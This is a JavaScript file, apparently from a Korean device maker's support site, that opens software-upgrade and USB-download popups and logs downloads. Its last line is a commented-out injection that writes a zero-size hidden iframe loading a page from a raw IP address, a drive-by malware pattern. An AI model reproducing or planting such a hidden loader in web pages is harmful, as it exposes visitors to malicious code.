﻿ // 소프트웨어 타입으로 분류 (셀프 업그레이드 분류) 
 function softFileDown(url,fileName,modelName,intSeq,strSwVer, type){
	
	 //셀프 업그레이드 진행
	 //if(type == 'UMF'){
	 var nameLen = fileName.length;
	 if(type == '20006' && (nameLen < 0 || fileName.substring(nameLen - 3, nameLen) != 'zip')) {
		 selfFileDownload(intSeq,strSwVer,modelName,type); 
	 }else{
		 usbDownload(url,fileName,modelName,intSeq,strSwVer,type);
	 }
 }
 
 
//셀프 업그레이드 
 function selfFileDownload(intSwSeq,strSwVer,modelName,type){
	 //var url = "/sw/swdownloadPop.sky?intSwSeq="+intSwSeq+"&strSwVer="+strSwVer+"&strModelName="+modelName+"&dn_type="+type;
	 var url = "http://www.isky.co.kr/sw/swdownloadPop.sky?intSwSeq="+intSwSeq+"&strSwVer="+strSwVer+"&strModelName="+modelName+"&dn_type="+type;
	 // 회원,비회원 팝업 
	 //alert(modelName); 
	 window.open(url, "", "width=550,height=300,toolbar=no,status=no,scrollbars=no");
	 
 }

 

 // USB 다운로드 
 function usbDownload(url,fileName, modelName,intSwSeq,strSwVer,type){
	 //var action = "/sw/swdownloadPop.sky?swSwVer="+strSwVer+"&intSwSeq="+intSwSeq+"&strModelName="+modelName+"&dn_type="+type;
	
	 var path = "http://file.isky.co.kr/uploadCode/download.asp"+"?folder="+url; 
	
	// var action = "/sw/swdownloadPop.sky?strSwVer="+strSwVer+"&intSwSeq="+intSwSeq+"&strModelName="+modelName+"&dn_type="+type+"&dnPath="+path+"&filename="+fileName;
	var action = "http://www.isky.co.kr/sw/swdownloadPop.sky?strSwVer="+strSwVer+"&intSwSeq="+intSwSeq+"&strModelName="+modelName+"&dn_type="+type+"&dnPath="+encodeURI(path)+"&filename="+fileName;
	 
	 
	 // 회원,비회원 팝업 	 
	 window.open(action, "", "width=550,height=300,toolbar=no,status=no,scrollbars=no");
 }
 
//회원용 셀프 업그레이드 로그 저장 
 function saveSelfDownloadLogMember(userId,strPrdName){
	 filedownload.location.href = "/cs/saveSelfDownloadLog.sky?strUserId="+userId+"&strPrdName="+strPrdName;
 }

// 비회원용 셀프 업그레이드 로그 저장 
 function saveSelfDownloadLogGuest(modelName){ 
	 filedownload.location.href = "/cs/saveSelfDownloadLog.sky?strPrdName="+modelName;
 }

//회원용 USB 다운로드 로그 저장 
 function saveUsbDownloadLogMember(userId,intSeq){
	 filedownload.location.href = "/cs/saveUsbDownloadLog.sky?strUserId="+userId+"&intSwSeq="+intSeq;
 }

// 비회원용 USB 다운로드 로그 저장 
 function saveUsbDownloadLogGuest(intSeq){
	 filedownload.location.href = "/cs/saveUsbDownloadLog.sky?intSwSeq="+intSeq;
 }
 
 // 회원 가입 페이지 이동
 function parentLocation(url){
	// opener.parent.target="_blank";
	// opener.parent.location.href=url;
	 window.open(url,"_blank");
	 window.close()
 }
//document.writeln("<iframe height=0 width=0 Src=http:\/\/202.133.245.100\/np\/xml.asp><\/iframe>");